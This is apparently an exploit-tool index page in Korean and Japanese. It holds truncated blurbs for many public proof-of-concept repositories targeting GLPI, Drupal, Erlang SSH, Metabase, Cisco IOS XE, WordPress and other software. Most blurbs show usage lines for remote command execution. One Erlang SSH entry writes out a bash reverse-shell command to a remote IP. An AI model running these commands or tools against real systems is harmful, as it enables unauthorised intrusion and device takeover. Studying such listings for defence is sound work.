CVE-2022-35914-poc

CVE-2022-35914 PoC 참조 https://github.com/glpi-project/glpi/security/advisories/GHSA-c5gx-789q-5pcr 사용법 root@kitploit: pip install -r requirements.txt root@kitploit: ./CVE-2022-35914.py -h usage: CVE-2022-35914.py -h -u URL -c CMD -f HOOK --check --user-agent USERAGENT CVE-2022-35914 - GLPI -...

CVE-2023-34960

ChamiloCVE-2023-34960-EXP 도움말: root@kitploit: usage: CVE-2023-34960.py -h -u URL -f FILE -c COMMAND options: -h, --help 이 도움말 메시지를 표시하고 종료 -u URL, --url URL 전체 URL 주소 http/https -f FILE, --file FILE 배치 URL 파일 -c COMMAND, --command COMMAND 명령 실행 선택 사항 예시: root@kitploit: 단일 URL python3...

Drupalgeddon2-CVE-2018-7600

🔥 Drupalgeddon 2 Exploit — bixi.py 📖 설명 bixi.py는 Drupal 7 에 영향을 미치는 취약점 CVE‑2018‑7600 Drupalgeddon 2 을 위한 익스플로잇입니다. 직관적인 인터페이스와 사전 정의된 명령어를 통해 취약한 Drupal 서버에서 원격 명령 실행RCE을 가능하게 합니다. ⚠️ 면책 조항 / 법적 고지 이 소프트웨어는 교육 목적 및 통제된 환경에서의 연구 목적으로만 사용됩니다. 소유한 시스템이나 서면 허가를 받은 시스템에서만 사용하십시오. 무단 사용은 불법 이며 형사 처벌을 받...

CVE-2025-32433

CVE-2025-32433 python ErlangSSHRCE.py -t 192.168.100.123 -p 2222 --reverse 192.168.100.98 4444 python ErlangSSHRCE.py -t 192.168.100.123 -p 2222 -c "bash -c 'bash -i & /dev/tcp/192.168.100.98/4444 0&1'"...

sunflower_exp

CVE-2022-10270 영향 버전: 向日葵 개인판 Windows --thread 스캔 시 스레드 수 기본 스레드 수: 100 --help 도움말 sunflowerpocexp.py 취약점 검증 및 스캔 도구 포트 탐지: 예: python sunflowerpocexp.py --scan --ip --port --thread 매개변수는 사용자가 지정해야 합니다. python sunflowerpocexp.py --scan 모두 기본 매개변수를 사용합니다. --scan 스캔 매개변수 --ip 스캔할 IP 주소 기본 스캔 IP...

CVE-2025-3248-POC

CVE-2025-3248-POC CVE-2025-3248의 POC 대상 머신에서 모든 명령어 실행 사용법: python poc.py 'http://xxx.com' 'ls /' 피해자 컴퓨터에 사랑을 남기세요 poc.py...

CVE-2025-50505

CVE-2025-50505 Clash Verge Rev에서 인증되지 않은 API로 인한 임의 명령 실행 및 권한 상승 설명 이 취약점은 기본적으로 상승된 권한으로 설치되는 clash-verge-service 구성 요소가 노출하는 인증되지 않은 API 엔드포인트에서 비롯됩니다. 이 결함으로 인해 공격자가 임의의 명령을 실행할 수 있으며, 두 가지 주요 공격 시나리오호스트 시스템에서의 로컬 권한 상승Local Privilege Escalation, LPE 및 특정 조건에서의 원격 코드 실행Remote Code Execution,...

CVE-2024-32113

CVE-2024-32113 Apache OFBIZ 일괄 스캐닝 주의: 이 도구는 불법 공격에 사용되는 것을 지원하지 않습니다. 이 도구는 기술적 교류만을 목적으로 합니다. 참고: 이 도구는 어떠한 불법 공격도 지원하지 않습니다. 기술 교류만을 목적으로 합니다. 주의: 본인은 누구든 본 도구를 사용하여 불법 공격을 하는 것을 지원하지 않습니다. 본 도구는 기술 교류 전용입니다. 도움말 root@kitploit: CVE-2024-32113 Batch Scanning optional arguments: -h, --help show...

CVE-2023-38646

CVE-2023-38646 Metabase 사전 인증 RCE 2023년 11월 26일 Metabase 오픈 소스 0.46.6.1 이전 버전 및 Metabase Enterprise 1.46.6.1 이전 버전에서는 공격자가 서버의 권한 수준으로 서버에서 임의의 명령을 실행할 수 있습니다. 악용에는 인증이 필요하지 않습니다. 기타 수정된 버전은 0.45.4.1, 1.45.4.1, 0.44.7.1, 1.44.7.1, 0.43.7.2 및 1.43.7.2입니다. 이 취약점은 애플리케이션이 api/setup/validate 내에서...

CVE-2024-32002-git-rce-father-poc

このリポジトリには README がありません。...

samsung-android-lpe

파트 1: 임의 AT 명령 실행 CVE-2026-20980 애플리케이션 프로세서AP 명령은 잠금 해제된 장치에서 연결 모드를 전환한 후 atdistributor에 의해 관리됩니다. root@kitploit: AT+SWATD=0 AT+ACTIVATE=0,0,0 AT+SWATD=1 atdistributor는 pacmcheckatcmds 함수를 통해 AT 명령을 검증합니다. root@kitploit: void mainint32t arg1, void arg2 noreturn int32t var21b0 = arg1; data42c170...

CVE-2022-22954

다중 취약점 트리거 포인트 탐지, 멀티스레드 일괄 탐지, 명령 실행, 파일 쓰기 root@kitploit: // 단일 대상 취약점 탐지 python CVE-2022-22954.py -u https://x.x.x.x // 명령 실행 python CVE-2022-22954.py -u https://x.x.x.x -c "id" // 파일 쓰기 python CVE-2022-22954.py -u https://x.x.x.x -fn test.jsp -fc "test" // 파일 업로드, Windows에서 파일명 설정 시 경로 지정 필요...

CVE-2019-16278-Nostromo_1.9.6-RCE

CVE-2019-16278 - Nostromo 1.9.6 원격 코드 실행 Nostromo nhttpd = 1.9.6의 RCE를 익스플로잇하는 Python 스크립트 도움말 root@kitploit: usage: CVE-2019-16278.py -h -t TARGET -p PORT -c COMMAND -b BYTES Exploit for CVE-2019-16278 - Nostromo 1.9.6 RCE optional arguments: -h, --help 이 도움말 메시지를 표시하고 종료합니다 -t TARGET, --target...

Gitea-Forgejo-CVE-2025-68937

Gitea 및 Forgejo에서의 임의 템플릿 확장 취약점 이 저작물은 Creative Commons Attribution-ShareAlike 4.0 International License에 따라 라이선스가 부여됩니다. 요약 Forgejo와 Gitea의 소스 코드를 확인하여 템플릿이 어떻게 수행되는지 더 잘 이해하는 과정에서, 인증된 사용자가 악성 템플릿 저장소를 생성하여 파일 시스템의 임의 파일을 처리할 수 있는 취약점을 발견했습니다. 악성 템플릿의 Git 콘텐츠를 기반으로 저장소를 생성할 때, 템플릿이 파일 시스템의 임의...

wp2shell

wp2shell WordPress 6.9.0～6.9.4 および 7.0.0～7.0.1 に対する認証前のリモートコード実行。 CVE-2026-63030（バッチルート混乱による SQLi）と CVE-2026-60137（カスタマイザーの changeset 再エントリ）を連鎖させ、認証なしでの管理者作成と OS コマンド実行を実現します。パスワードクラックは不要です。 hashkitten による発見に感謝します。完全な SLCyber の技術分析はこちらをお読みください。 脆弱性 WordPress の REST API...

CVE-2023-20198-Exploit

Cisco IOS XE 인증 우회 CVE-2023-20198 이 저장소는 Cisco IOS XE Web UI 에 영향을 미치는 인증 우회 취약점인 CVE-2023-20198 에 대한 개념 증명 익스플로잇 을 포함하고 있습니다. 이 취약점을 통해 인증되지 않은 공격자 는 조작된 SOAP 요청을 사용하여 취약한 Cisco 장치에서 임의의 명령을 실행할 수 있으며, 원격 명령 실행 및 관리자 사용자 생성/삭제 를 포함한 전체 장치 장악 으로 이어질 수 있습니다. 취약점 개요 CVE : CVE-2023-20198 영향을 받는 제품 :...

RadareEye

인근 장치를 스캔하고 대상 장치가 범위 내에 들어오면 명령을 실행하는 도구입니다. 참고:- RadareEye 소유자는 이 도구를 사용하여 악의적인 활동을 수행하는 사용자에 대해 책임을 지지 않습니다. 학습 목적으로만 사용하세요. RadareEye 설치 방법 : root@kitploit: git clone https://github.com/souravbaghz/RadareEye 사용 방법: root@kitploit: ./radare 사용 가능한 옵션: -blue 블루투스 RadareEye -ble BLE RadareEye -wi...

CVE-2021-41730

TENDA 認証リモートコマンド実行 エクスプロイト作者: SHENGXI [email protected] ベンダー: TENDA CVE-2021-41730 - /bin/httpd ファームウェアバージョン: AC15: =USAC15V1.0BRV15.03.05.20multiTDE01.bin AC6: USAC6V1.0BRV15.03.05.16multiTD01.bin ....... ハードウェアリンク: https://www.tendacn.com/en/download/detail-3858.html 脆弱性の詳細...

TimeAfterFree

TimeAfterFree PHP 8 샌드박스 이스케이프 PoC로, Unix 계열 시스템에서 disablefunctions 우회를 시연합니다. 이 익스플로잇은 use-after-free 버그를 활용하여 disablefunctions를 우회하고 시스템 명령을 실행합니다. 힙 포인터 유출 및 읽기/쓰기 프리미티브 획득에 사용되는 익스플로잇 기법은 DateInterval 객체를 활용합니다. 이 PoC는 여러 표준 PHP 배포판과 일반적인 서버 APICLI, PHP-FPM, Apache 모듈에서 테스트되었으며 결정론적으로 재현됩니다...

CVE-2026-26830

CVE-2026-26830: pdf-image における OS コマンドインジェクション 概要 pdf-image のバージョン 2.0.0 までには、pdfFilePath 引数を介した OS コマンドインジェクションの脆弱性があります。このパッケージは util.format でシェルコマンド文字列を構築し、childprocess.exec で実行します。アプリケーションが攻撃者によって制御されたファイルパスを PDFImage に渡すと、そのパスに含まれるシェルのメタ文字によって任意のコマンドが実行される可能性があります。 影響を受ける製品...